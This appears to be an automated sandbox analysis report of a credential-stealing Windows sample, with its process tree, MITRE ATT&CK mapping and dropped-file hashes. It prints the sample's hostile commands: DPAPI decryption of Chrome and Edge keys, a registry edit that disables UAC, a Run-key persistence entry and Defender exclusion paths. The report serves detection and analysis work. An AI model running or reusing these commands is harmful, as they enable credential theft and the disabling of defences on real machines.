    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,134,207,73,36,33,220,51,169,216,24,1,100,86,219,228,221,25,0,213,234,183,9,170,128,155,49,6,20,168,28,231,79,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,13,3,55,184,141,77,103,8,224,103,25,194,116,76,193,185,131,58,87,3,111,142,36,184,77,120,108,26,67,244,20,25,48,0,0,0,106,149,233,187,89,98,74,231,30,160,114,65,172,69,245,48,244,114,198,109,235,88,130,231,136,45,89,26,54,95,105,27,141,231,221,237,204,107,197,175,190,182,162,216,230,28,193,54,64,0,0,0,112,212,134,205,222,222,129,28,80,105,26,187,38,172,156,106,88,235,175,54,43,103,230,117,49,112,180,159,12,117,120,222,104,78,61,205,114,231,87,123,187,16,20,197,24,140,126,139,123,248,140,233,115,26,139,136,108,2,180,112,126,191,105,211), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    PID:4912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,134,207,73,36,33,220,51,169,216,24,1,100,86,219,228,221,25,0,213,234,183,9,170,128,155,49,6,20,168,28,231,79,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,13,3,55,184,141,77,103,8,224,103,25,194,116,76,193,185,131,58,87,3,111,142,36,184,77,120,108,26,67,244,20,25,48,0,0,0,106,149,233,187,89,98,74,231,30,160,114,65,172,69,245,48,244,114,198,109,235,88,130,231,136,45,89,26,54,95,105,27,141,231,221,237,204,107,197,175,190,182,162,216,230,28,193,54,64,0,0,0,112,212,134,205,222,222,129,28,80,105,26,187,38,172,156,106,88,235,175,54,43,103,230,117,49,112,180,159,12,117,120,222,104,78,61,205,114,231,87,123,187,16,20,197,24,140,126,139,123,248,140,233,115,26,139,136,108,2,180,112,126,191,105,211), $null, 'CurrentUser')
      4⤵
      PID:1848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,220,213,239,127,76,70,253,225,9,214,149,189,224,37,147,8,202,237,78,209,247,255,236,84,111,225,101,69,108,178,224,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,102,117,81,243,82,41,159,199,223,204,73,103,111,193,135,9,14,132,26,34,12,235,123,230,201,169,244,90,144,34,76,188,48,0,0,0,103,67,212,89,139,219,208,12,37,159,138,33,74,199,53,203,187,122,61,189,179,21,79,56,96,39,162,175,169,163,231,4,19,159,69,21,101,235,225,145,193,122,185,39,89,246,188,16,64,0,0,0,13,24,255,63,225,128,47,197,143,32,42,215,150,140,115,113,251,41,122,237,27,31,133,254,7,138,30,232,191,164,12,191,22,21,25,82,217,147,12,165,169,188,154,153,135,43,133,158,163,36,65,228,250,207,73,204,196,224,135,72,228,146,75,229), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    PID:3236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,134,68,90,168,164,48,36,74,145,194,184,0,171,33,10,81,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,220,213,239,127,76,70,253,225,9,214,149,189,224,37,147,8,202,237,78,209,247,255,236,84,111,225,101,69,108,178,224,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,102,117,81,243,82,41,159,199,223,204,73,103,111,193,135,9,14,132,26,34,12,235,123,230,201,169,244,90,144,34,76,188,48,0,0,0,103,67,212,89,139,219,208,12,37,159,138,33,74,199,53,203,187,122,61,189,179,21,79,56,96,39,162,175,169,163,231,4,19,159,69,21,101,235,225,145,193,122,185,39,89,246,188,16,64,0,0,0,13,24,255,63,225,128,47,197,143,32,42,215,150,140,115,113,251,41,122,237,27,31,133,254,7,138,30,232,191,164,12,191,22,21,25,82,217,147,12,165,169,188,154,153,135,43,133,158,163,36,65,228,250,207,73,204,196,224,135,72,228,146,75,229), $null, 'CurrentUser')
      4⤵
      PID:5552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
    3⤵
    PID:5380
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:5844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
    3⤵
    PID:4416
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber
      4⤵
      PID:5964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v app /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"
    3⤵
    PID:5568
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v app /t REG_SZ /d "C:\ProgramData\Update.vbs" /f
      4⤵
      Adds Run key to start application
      PID:5412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.rE2uTe3YKt""
    3⤵
    PID:5060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.rE2uTe3YKt"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""
    3⤵
    PID:5436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
    3⤵
    PID:388
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber
      4⤵
      PID:4504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
    3⤵
    PID:1016
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber
      4⤵
      PID:2004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "pip install pillow"
    3⤵
    PID:1500
- - C:\Users\Admin\AppData\Local\Temp\python-installer.exe
    C:\Users\Admin\AppData\Local\Temp\python-installer.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3316
  - - C:\Windows\Temp\{09449456-7310-458B-84E3-0589C8435D36}\.cr\python-installer.exe
      "C:\Windows\Temp\{09449456-7310-458B-84E3-0589C8435D36}\.cr\python-installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-installer.exe" -burn.filehandle.attached=564 -burn.filehandle.self=560 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:216
- C:\ProgramData\App2.exe
  "C:\ProgramData\App2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5592

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
PID:1172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e5883d4.rbs

Filesize
8KB

MD5
712fab9929367624e4a19d7bf3852425

SHA1
b0932bd5788b005e899c3e6113935faf470d40b9

SHA256
3f09eb1aac5e15d027e7ecf56a660edc0b0c21f407808dba096ab9190c7bce51

SHA512
90d682acd5faa224f227e9d324ea418c185d2fb11b0be166b43be663cdb12e524f9403fbd7a163b6ae9fcd604a43a7a16f574e68a519bd74b9f9b524bd780acf

Download Submit
C:\Config.Msi\e5883d9.rbs

Filesize
12KB

MD5
6aa5c19c0c4608e2c1a6e72f712621fd

SHA1
0923335a466b80f5599a419bd40fb907dfdb0cc8

SHA256
152fba16c0b3a5aa577cf776ea7f876de7cd70bf5f6cb5d360564f91af4e2573

SHA512
584637acd33c13cf630e3563a3837d939adad7c20f6263d2e92882f70c236581811a1427a0040a3f08ed7772cf8bfe87c9c60ec0f3d6f974cfdef938059938b4

Download Submit
C:\Config.Msi\e5883de.rbs

Filesize
50KB

MD5
79cb0dd5e76c3f2d9cee7045ae62fd00

SHA1
1de8bade347dc0da8b2a7575dbba97dea8b5308f

SHA256
ee19a0105d7444fb3acff693b7de8af20d95b9a044eee5509b2148c2574a053f

SHA512
5eb55fa88fed448ccac4d10eb29b96ad1f42654e6de110e63594e32b94031c670389300044695f0dc379ea1ff1626a00708724bc94872989d0c91e056c9397ab

Download Submit
C:\Config.Msi\e5883e2.rbs

Filesize
4KB

MD5
e54dc73ca4486694d550aca5aed183ab

SHA1
e28e8c382405dc4b4b2368ab37b58f4d467f99f3

SHA256
7759928d71c411ccf485dc4bc7123625b0afcf245676ab7928eddb1e73632f53

SHA512
68976d99d4b53d5480e14215c5ecff368bad61c1c4e26ae0a84a9bc390d22c2fd9f2f7547db78b83a7571324fa1c51a52c6e542a613b27e403f8fd352f867b9d

Download Submit
C:\Config.Msi\e5883e6.rbs

Filesize
138KB

MD5
5a2695198490e5b73740ff87e3090846

SHA1
af9219a2bc117f7f901c506f86fc28f9230f2736

SHA256
a27e59fc58df689de1ce44e58cd11c563943ce37d513e9500d435906651001e5

SHA512
07b6cc91a42b470b6aa7bc939e09d965dab0f260601243a353d9f0d3ea926b37c8d9912ff494d84c42dd05e2ece1f21d5370ac24d52d26f307604f6b315e6274

Download Submit
C:\ProgramData\App2.exe

Filesize
202KB

MD5
73f5733f76ac052b15335c1cd985f73f

SHA1
8c4be16301b9da6caa774f800104adf5731b55a4

SHA256
9cf5e2e0f424e7d3b206b17c262a538b29776c34b3fe11fa38222ce8cf7eaff3

SHA512
7acda28d83caf6f27535c0e5e465b6219ba178ad673b0e4af517894c537dd50b7f16d3e83b3ddb7c8c268835eb9fd962902b38e51083a35d0c778aa1600349f5

Download Submit
C:\ProgramData\Steam\Launcher\U1VrCFfza13a\EN-Ztsllrfh\debug.log

Filesize
1KB

MD5
c331633266bac654a9940dd88818d646

SHA1
d2aa1d4ad529076cd49dfee77213c888829f9605

SHA256
e0d8f43f781176d3a6f6d32739dcf1aa35662a535dcd899c291390b147bfb0b8

SHA512
ad08b510eeb5bb194470cb553a391a60de4c431b06c21523ad4e116af1ec27682b8ce84051598d96a4d1072c61147e361c2251554e39ea2cbeb107f39335acf5

Download Submit
C:\ProgramData\Steam\Launcher\dijqIVwsYKQT\EN-Ztsllrfh\debug.log

Filesize
1KB

MD5
c0aec836559ba922e33c8bc5c795d3a9

SHA1
2ace3715e3ebbe8efe96a7f91600db27e89e211f

SHA256
eaad4eb56cdb5501bfa8cda85aca1f8bf2434a5741e154b59008e2a1433f7fe8

SHA512
6b3e5147b1f40f5669ebd5402382055028eefe94839e436f10ccbe1ea5747c674f0e37fa201e01e8b51f554cc36efc96fb703ca3b0f9206ae426b0a8b6714d8f

Download Submit
C:\ProgramData\app.exe

Filesize
37.7MB

MD5
2b4e3d8483a38b3edb8c5fb6c4ae2377

SHA1
97b61d68ecb640b9c80417b6c5ee3940c1d4807f

SHA256
0bb4106d06534f26e4b1b74627129c7b614339cc9b0eb948200ae739f38321cb

SHA512
737deffa13732a97baa95809b3aa226580c21ad7ceb17ed245244ff7cda0db0e1f0a01a5a9966ea9867b3ef4c6c234b3be76bc90f5bb78c454dc458ced158ba0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\webdata.db

Filesize
114KB

MD5
2ba42ee03f1c6909ca8a6575bd08257a

SHA1
88b18450a4d9cc88e5f27c8d11c0323f475d1ae6

SHA256
a14fb57193e6930fa9e410d9c55dfe98e3ae5e69b22356e621edc73683a581bd

SHA512
a1f32c22f0d78cba95c04c432e2a58ea47fb34942e70bfdceffcc2ac1e91b87a3da2cd9f93793427ee09a623c7da700e1c16977d41a44286317e8fc20502f035

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Launcher.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
0a9dc42e4013fc47438e96d24beb8eff

SHA1
806ab26d7eae031a58484188a7eb1adab06457fc

SHA256
58d66151799526b3fa372552cd99b385415d9e9a119302b99aadc34dd51dd151

SHA512
868d6b421ae2501a519595d0c34ddef25b2a98b082c5203da8349035f1f6764ddf183197f1054e7e86a752c71eccbc0649e515b63c55bc18cf5f0592397e258f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
61cef8e38cd95bf003f5fdd1dc37dae1

SHA1
11f2f79ecb349344c143eea9a0fed41891a3467f

SHA256
ae671613623b4477fbd5daf1fd2d148ae2a09ddcc3804b2b6d4ffcb60b317e3e

SHA512
6fb9b333fe0e8fde19fdd0bd01a1990a4e60a87c0a02bc8297da1206e42f8690d06b030308e58c862e9e77714a585eed7cc1627590d99a10aeb77fc0dd3d864d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
996722170871a1a4193f095726017dcc

SHA1
1f50684ed4561facdb74d692d72d8259e74432b5

SHA256
8f20b799c38ff2991a6e81a450751cdbf3e01522f22139ed2460bcdd8bc44521

SHA512
08191911fec0b96bd7dbcd5a42e6a27c65ecaa0e7e7f194368d6cb3bf43a751d6db64328e8f543055da94f5bee0a76d8ef3433099a13a98c7fb00b68ad5c95cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
e4794423994ba2beba262202155edc28

SHA1
8f50f05aec18e4b1c6c4e226356d6c76e7eeae1c

SHA256
f839201c0c606a55cbc7aa894029e9619e7a829fc83065ec32ce6b439bb100fb

SHA512
29c03dfcfcd2486a665fa42e4386c14d9f57b7c58a833ff2422b1aabca8aa165813056649b31ca004dc6da64bcabf8bd504d4251ddc443d1e4ef7c51e8b7c61f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
16034d7c4f38eb497ea58e1f7325285c

SHA1
ca42d7506194455885cda834f9466644683c72b7

SHA256
55c775fcbc0f51e8a5e83ffbf94942a6fd149b43e6a9efa6c1ff8ddcf34ff345

SHA512
9598038467b051d357c8abc370ad945f1bc6458a1fff4c502570d9e25a41782064a22e9dd6445cd984dd1029afe5e1d80cfdd472e242f1663899edd7d2756e56

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
e2d81c5dd0c6bc9ea641ad572d84eed9

SHA1
0622119127e4dc23bc1bfb29835d30fe2faa6367

SHA256
7916172ae46c5ed0fdb80c9f2a14c3e2da109d788e2fbc11476664d0daf13808

SHA512
8aa15df6683b6c8256d188af9e7c36820b948ec216d11188f891b2838da950255fbeceb7a38bc4350ed9031ebe5c8658fa160d881a0df5e1a4d9ba3017d432a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
e7a83a827b3c808a913ec88ae19ee76b

SHA1
a589aca7bf02160b021a489fa51eb416f62419f5

SHA256
76e8ebd508ed79919c459f9030ff7e935ce8909a2049d3195c26aadeb69ea897

SHA512
2cf081e6f61a1041b243d3b29f5ce43488571f1b2b542582dc24b7f29fadf927ef2df0509667e32388faf43289f19c58b2625e52699ac4c66979f8935d463756

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1f0f8c49b22409ca78499f5df1ce9456

SHA1
5300f7ed636959c8c8366418e891dbe49a3edba9

SHA256
429128efcec165baf50a81021e610933e1020f5298d865f7b30daf370fb22014

SHA512
ca976a7ab0ef4782c3003433e8d99d34d8060cb3a8790e787b56db1e207902b9dd15ecb6e76fecbd00f5e83a8add34329b25f86b90c62055f0d0d1de5607d2af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
68d80cc2ac40ea9e5c7297fba6623c45

SHA1
05908daef7414f753fa6006082c42485002a7da8

SHA256
3b059d656dae93233a96c9079352c1d77c6abfec689cc6236b93b427c9918e96

SHA512
2c51e963eba030ee4f2ef5df1577a8ce38cacd6ffc3d0c56258db173352b46cd6048505061c65bd5757d14e2e27d9d396cbce95d58406660af62365bd4e7afb6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a3f7a01e7d247e4e6585d159beeb182d

SHA1
4c064e3d1bfdb1a806d04524e90d048405680910

SHA256
badb1fb8f1e512beb13d6854742ca03e4bcbea74d641bd08cd0d1ed43cdf89ce

SHA512
d7db61d6ce06d40793cbe34909d1001d7aa7fa50f588572ed0ac64106bec3f04380994dca4879e39fb062078d2143681836b145eb722cf5c5b7c309dbf71d77b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
13db1e0ea9046b64c22394fe746151f1

SHA1
44551b56162909af07c3760926227eae589c8d69

SHA256
460a7d0691c640fb65491dd145223df020ca52766cce31058c6fcfbd58a367a6

SHA512
fafc0fe4c7c593120af19451db521ff93384aa4b3ef9a07db197f4d33f05b91ff9097abfd3e0c57279a67b55f39d47d1a35b474e9cfdaf5e60227a186ee3b7b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34f595487e6bfd1d11c7de88ee50356a

SHA1
4caad088c15766cc0fa1f42009260e9a02f953bb

SHA256
0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

SHA512
10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

Download Submit
C:\Users\Admin\AppData\Local\Package Cache\.unverified\lib_JustForMe

Filesize
7.1MB

MD5
f6ddadd0d817ce569e202e57863ae919

SHA1
3a2f6d81c895f573464d378ab3bcfb6d8a48eaf2

SHA256
63032d6386c94e83a3b7b7b9eefc23493f976bd435a10668aa263d1ca1cb22e1

SHA512
7d970e62e3b513b2fa98e8a83ce3080fc6652bba2b70a5127a46ca5c2b0dee8790e48fffef56d15bec2706a997ade5a3c05ff5df4c6be2b3632b6bf7aa6e9ef2

Download Submit
C:\Users\Admin\AppData\Local\Package Cache\.unverified\tcltk_JustForMe

Filesize
3.4MB

MD5
fd7e13f2c36fe528afc7a05892b34695

SHA1
14a9c4dfd12e1f9b1e64e110166500be1ef0abb1

SHA256
2a24729e58bce7c2abde7225dc2de32539b4c4ef3609b53b54f643955d01c4b0

SHA512
7b7060672f680c418f7ebbddf2ba693539b1284566ab756c8061b61a582d13537aa215dad03db5c803eeba2f6fcc7fad7ed2857931ea205048abd905afef1d4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1hNGppoJOd.ps1

Filesize
380B

MD5
cbb9a56c9c8d7c3494b508934ace0b98

SHA1
e76539db673cc1751864166494d4d3d1761cb117

SHA256
027703af742d779f4dcde399ac49a3334f1b9e51b199215203e1f4b5e3251fe5

SHA512
f71e0a521c2b0aa034e0a2c9f0efd7d813d8408d118979f8e05ecd3aa6fb94c67793e2302ed9455aad9a63d43a53fa1ac2b3d45f7bdfa1cc8104c9a9ace84129

Download Submit
C:\Users\Admin\AppData\Local\Temp\5o4jfdfa\5o4jfdfa.dll

Filesize
3KB

MD5
62c3ccc84cf59aed9a56eb4dc198c19e

SHA1
5af2f3930e8485d91d6eaf928cab4d465cdb2b0f

SHA256
68a99f44c879052961a27df6287ddab1ded7a411f0c3d32c050986f97ff7eed9

SHA512
a31da8cf6849c1e739944c64346eba63013092a5913e7c389fed15ddee9d42680d6dc8fda90851aeb1b9a61cb5b9f7b914b610712f2d1972f90e54d06df21004

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zO0C463B48\Launcher.exe

Filesize
37.9MB

MD5
2879823979f8b16f80483eb80f38dcaa

SHA1
83846ac4df07519a2fab9952d43ee9be2fdb5794

SHA256
15455df49778d6e1154d788f37171e2e73abc52db4c0b78cde050ad054a23bf7

SHA512
3470ac73d739c805d52ed452bc463f92977d8b606fd4f83e0aab9546e01d55bac27e9faffb20d3f617b6f48476296588e354453d74a32459225c22d716a205b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2B12.tmp

Filesize
1KB

MD5
6d2ebbadcfc2dc8746e763df3f8f3d46

SHA1
04897b996de7354491f603211bfe18897d95eb62

SHA256
9e6036df8343965a8e1f34cbf227686af2ad548bb3efaf0bbd8965c391b0a603

SHA512
0c316b69fce0a8c3b9f70f9a6216b7f6c5f8b7e933fb1f2416210ab8dcf61f53672fd36c475c3fa382b917dec5060f78193ad03f96748b7f61a2cfdcce1fa02d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_evme2pjg.xk5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\binding.gyp

Filesize
1KB

MD5
b18910876afa5be79dc709e0b314108e

SHA1
fbd12aa3a25eaa0ea9883c49282029bbb9a9b1ad

SHA256
82c0fffccc54ef10231be8c7e190feb8feea44efc01b4ecfe12e4d8a0ecfb20d

SHA512
20a8ef66ec345d0f90416acf2a288d22c3f7b44b1e1a747c5ad4c9196cbbd6ca51683650d90afea97f33f847c8fd5d8fd9221ce7e0a7f4494e58288f8d80bab7

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node

Filesize
1.8MB

MD5
66a65322c9d362a23cf3d3f7735d5430

SHA1
ed59f3e4b0b16b759b866ef7293d26a1512b952e

SHA256
f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c

SHA512
0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\common-sqlite.gypi

Filesize
1KB

MD5
0ad55ae01864df3767d7b61678bd326e

SHA1
ffedcc19095fd54f8619f00f55074f275ceddfd6

SHA256
4d65f2899fb54955218f28ec358a2cad2c2074a7b43f862933c6a35e69ae0632

SHA512
aaee895d110d67e87ed1e8ed6557b060a0575f466a947a4f59cc9d111381e1af6aa54d432233716c78f146168d548a726fed1eab2b3f09bb71e0ae7f4fdc69e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\extract.js

Filesize
224B

MD5
f0a82a6a6043bf87899114337c67df6c

SHA1
a906c146eb0a359742ff85c1d96a095bd0dd95fd

SHA256
5be353d29c0fabea29cfd34448c196da9506009c0b20fde55e01d4191941dd74

SHA512
d26879f890226808d9bd2644c5ca85cc339760e86b330212505706e5749464fafad1cb5f018c59a8f034d68d327cd3fa5234ceac0677de1ac9ae09039f574240

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite-autoconf-3440200.tar.gz

Filesize
3.1MB

MD5
c02f40fd4f809ced95096250adc5764a

SHA1
8398dd159f3a1fd8f1c5edf02c687512eaab69e4

SHA256
1c6719a148bc41cf0f2bbbe3926d7ce3f5ca09d878f1246fcc20767b175bb407

SHA512
59ad55df15eb84430f5286db2e5ceddd6ca1fc207a6343546a365c0c1baf20258e96c53d2ad48b50385608d03de09a692ae834cb78a39d1a48cb36a05722e402

Download Submit
